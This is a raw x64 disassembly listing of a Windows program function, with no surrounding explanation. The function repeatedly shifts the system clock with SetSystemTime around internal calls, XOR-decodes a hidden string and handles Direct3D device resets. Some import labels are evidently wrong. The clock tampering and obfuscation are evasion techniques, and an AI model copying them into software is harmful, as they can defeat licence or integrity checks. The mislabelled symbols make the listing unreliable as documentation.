lea rcx, [rbp + 0x1f8]
mov dword [rbp + 0x1f8], eax
shr rax, 0x20
mov dword [rbp + 0x1fc], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x478]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003ab10
lea rcx, [rbp + 0x488]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x488]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x200]
lea rdx, [rbp + 0x488]
add rax, r14
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x200], eax
shr rax, 0x20
mov dword [rbp + 0x204], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x488]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
mov eax, 0x454
mov ecx, eax
mov edx, 0x3a8
mov qword [rbp + 0x290], r12
mov eax, dword [rax + rsi]
mov ebx, edx
test al, 1
jne 0x14003e1e0
or eax, 1
mov dword [rdx + rsi + 0xa], 0x14d8442
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9960]
mov dword [rdx + rsi], 0x96420d9e
mov dword [rdx + rsi + 4], 0x7f2d0d23
mov word [rdx + rsi + 8], 0x2bc
call fcn.1400a562c
cmp byte [rbx + rsi + 0xd], r12b
lea rcx, [rbx + rsi]
je 0x14003e222
xor byte [rcx], 0xdd
xor byte [rcx + 1], 0x61
xor byte [rcx + 2], 0x27
xor byte [rcx + 3], 0xf7
xor byte [rcx + 4], 0x4d
xor byte [rcx + 5], 0x2d
xor byte [rcx + 6], 0x79
xor byte [rcx + 7], 0xd
xor byte [rcx + 8], 0xdd
xor byte [rcx + 9], 0x61
xor byte [rcx + 0xa], 0x27
xor byte [rcx + 0xb], 0xf7
xor byte [rcx + 0xc], 0x4d
mov byte [rcx + 0xd], r12b
lea rdx, [rbp + 0x290]
call fcn.14002dbf0
test al, al
je case.default.0x14003e251
movsxd rax, dword [0x14011d11c]
cmp eax, 5
ja case.default.0x14003e251
mov ecx, dword [r15 + rax*4 + 0x3ead4]
add rcx, r15
jmp rcx
lea rcx, [rbp + 0x498]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x498]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x208]
lea rdx, [rbp + 0x498]
sub rax, r14
lea rcx, [rbp + 0x208]
mov dword [rbp + 0x208], eax
shr rax, 0x20
mov dword [rbp + 0x20c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x498]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003a8a0
call fcn.1400352c0
call fcn.14003a7a0
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x2a8]
lea rdx, [rbp + 0x4a8]
add rax, r14
lea rcx, [rbp + 0x2a8]
mov dword [rbp + 0x2a8], eax
shr rax, 0x20
mov dword [rbp + 0x2ac], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x4a8]
jmp 0x14003e6f2
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x218]
lea rdx, [rbp + 0x4b8]
sub rax, r14
lea rcx, [rbp + 0x218]
mov dword [rbp + 0x218], eax
shr rax, 0x20
mov dword [rbp + 0x21c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003a8a0
call fcn.140035040
call fcn.14003a7a0
lea rcx, [rbp + 0x4c8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x4c8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x220]
lea rdx, [rbp + 0x4c8]
add rax, r14
lea rcx, [rbp + 0x220]
mov dword [rbp + 0x220], eax
shr rax, 0x20
mov dword [rbp + 0x224], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x4c8]
jmp 0x14003e6f2
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x228]
lea rdx, [rbp + 0x5a8]
sub rax, r14
lea rcx, [rbp + 0x228]
mov dword [rbp + 0x228], eax
shr rax, 0x20
mov dword [rbp + 0x22c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003a8a0
call fcn.140035ad0
call fcn.14003a7a0
lea rcx, [rbp + 0x628]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x628]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x230]
lea rdx, [rbp + 0x628]
add rax, r14
lea rcx, [rbp + 0x230]
mov dword [rbp + 0x230], eax
shr rax, 0x20
mov dword [rbp + 0x234], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x628]
jmp 0x14003e6f2
lea rcx, [rbp + 0x608]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x608]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x238]
lea rdx, [rbp + 0x608]
sub rax, r14
lea rcx, [rbp + 0x238]
mov dword [rbp + 0x238], eax
shr rax, 0x20
mov dword [rbp + 0x23c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x608]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003a8a0
call fcn.1400349a0
call fcn.14003a7a0
lea rcx, [rbp + 0x5e8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x5e8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x240]
lea rdx, [rbp + 0x5e8]
add rax, r14
lea rcx, [rbp + 0x240]
mov dword [rbp + 0x240], eax
shr rax, 0x20
mov dword [rbp + 0x244], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x5e8]
jmp 0x14003e6f2
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x248]
lea rdx, [rbp + 0x3e0]
sub rax, r14
lea rcx, [rbp + 0x248]
mov dword [rbp + 0x248], eax
shr rax, 0x20
mov dword [rbp + 0x24c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003a8a0
call fcn.140035750
call fcn.14003a7a0
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x250]
lea rdx, [rbp + 0x3a0]
add rax, r14
lea rcx, [rbp + 0x250]
mov dword [rbp + 0x250], eax
shr rax, 0x20
mov dword [rbp + 0x254], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x3a0]
jmp 0x14003e6f2
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x258]
lea rdx, [rbp + 0x3c0]
sub rax, r14
lea rcx, [rbp + 0x258]
mov dword [rbp + 0x258], eax
shr rax, 0x20
mov dword [rbp + 0x25c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003a8a0
call fcn.140035040
call fcn.14003a7a0
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x260]
lea rdx, [rbp + 0x180]
add rax, r14
lea rcx, [rbp + 0x260]
mov dword [rbp + 0x260], eax
shr rax, 0x20
mov dword [rbp + 0x264], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14000f0c0
call fcn.140009880
mov rcx, qword [0x14011d090]
mov r9d, 3
mov dword [rsp + 0x30], r12d
xor r8d, r8d
movss dword [rsp + 0x28], xmm7
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x14011d090]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14003e77a
call fcn.140009c30
mov rax, qword [0x14011cd08]
mov rcx, qword [rax + 0x4040]
mov rax, qword [rcx]
mov rcx, r12
add rax, 0x48
cmp byte [rax], r12b
cmovne rcx, rax
call fcn.140028d80
mov rcx, qword [0x14011d090]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14011d090]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14003e7b7
mov rcx, qword [0x14011d090]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14003e7b7
call fcn.140031ad0
cmp dword [rbp + 0x650], 0x12
jne 0x14003c7b0
mov rcx, qword [0x14011cd08]
test rcx, rcx
je 0x14003e7d9
mov rdi, qword [rcx + 0x98]
jmp 0x14003e7dc
mov rdi, r12
lea rsi, [rcx + 8]
test rcx, rcx
je 0x14003e855
mov rbx, qword [rcx + 0x98]
test rbx, rbx
je 0x14003e855
cmp qword [rbx], r12
je 0x14003e855
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x14003e813
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14011cd08]
mov qword [rbx + 8], r12
mov rdx, qword [rbx + 0x10]
test rdx, rdx
je 0x14003e830
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14011cd08]
mov qword [rbx + 0x10], r12
mov rdx, qword [rbx + 0x18]
test rdx, rdx
je 0x14003e855
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14011cd08]
mov qword [rbx + 0x18], r12
mov rax, qword [rcx + 0x50]
mov qword [rax + 8], r12
mov rdx, qword [rdi]
test rdx, rdx
je 0x14003e86d
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14011cd08]
mov qword [rsi + 0x80], r12
mov qword [rsi + 0x90], r12
test rcx, rcx
je 0x14003e886
dec dword [rcx + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x14011cd08]
test rax, rax
je 0x14003e8a4
mov rbx, qword [rax + 0x90]
jmp 0x14003e8a7
mov rbx, r12
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14003e8c1
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov rax, qword [0x14011cd08]
mov qword [rdi + 0x78], r12
mov qword [rdi + 0x88], r12
test rax, rax
je 0x14003e8d7
dec dword [rax + 0xec]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x14011cd08]
mov rcx, rbx
call fcn.140008670
cmp qword [0x14011cd08], rbx
jne 0x14003e8ff
mov qword [0x14011cd08], r12
test rbx, rbx
je 0x14003e927
mov rcx, rbx
call fcn.140018390
mov rax, qword [0x14011cd08]
test rax, rax
je 0x14003e91e
dec dword [rax + 0xec]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14011d090]
test rcx, rcx
je 0x14003e940
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14011d090], r12
mov rcx, qword [0x14011d088]
test rcx, rcx
je 0x14003e959
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14011d088], r12
mov rcx, qword [0x14011d080]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm11, xmmword [rsp + 0x7d0]
xor eax, eax
movaps xmm10, xmmword [rsp + 0x7e0]
movaps xmm9, xmmword [rsp + 0x7f0]
movaps xmm8, xmmword [rsp + 0x800]
movaps xmm7, xmmword [rsp + 0x810]
movaps xmm12, xmmword [rsp + 0x7c0]
mov r15, qword [rsp + 0x830]
mov r13, qword [rsp + 0x840]
movaps xmm6, xmmword [rsp + 0x820]
mov rdi, qword [rsp + 0x870]
mov rsi, qword [rsp + 0x868]
mov rbx, qword [rsp + 0x860]
mov r14, qword [rsp + 0x838]
mov rcx, qword [rbp + 0x6b8]
xor rcx, rsp
call fcn.1400a4d50
add rsp, 0x848
pop r12
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov rcx, qword [0x14011d088]
mov rdx, qword [0x14011d090]
test rdx, rdx
je 0x14003ea36
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14011d088]
mov qword [0x14011d090], r12
test rcx, rcx
je 0x14003ea48
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov qword [0x14011d088], r12
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
jmp 0x14003e9b1
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x158], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x158], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3